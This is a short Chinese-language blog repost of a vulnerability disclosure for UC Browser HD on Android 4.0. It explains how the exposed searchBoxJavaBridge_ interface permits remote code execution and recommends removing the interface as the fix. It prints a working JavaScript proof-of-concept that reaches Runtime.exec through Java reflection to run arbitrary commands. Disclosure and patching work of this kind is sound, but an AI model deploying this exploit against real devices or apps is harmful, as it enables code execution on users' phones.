UC浏览器HD版本远程代码执行漏洞 – 网站安全

浏览器来说这种问题还是需要修补的导出searchBoxJavaBridge_好像是跟google的搜索框相关的。在android 4.0手机上测试实际存在，4.2以上版本不存在

function execute(cmdArgs)

{

return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

}

测试页面:http://drops.wooyun.org/webview.html 参见: http://www.2cto.com/Article/201309/241271.html
漏洞证明： 1.jpg 修复方案： 需要把这个接口删除，调用remove JavascriptInterface方法
http://www.2cto.com/Article/201404/296370. html

本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了，原文地址《UC浏览器HD版本远程代码执行漏洞 – 网站安全 – 自》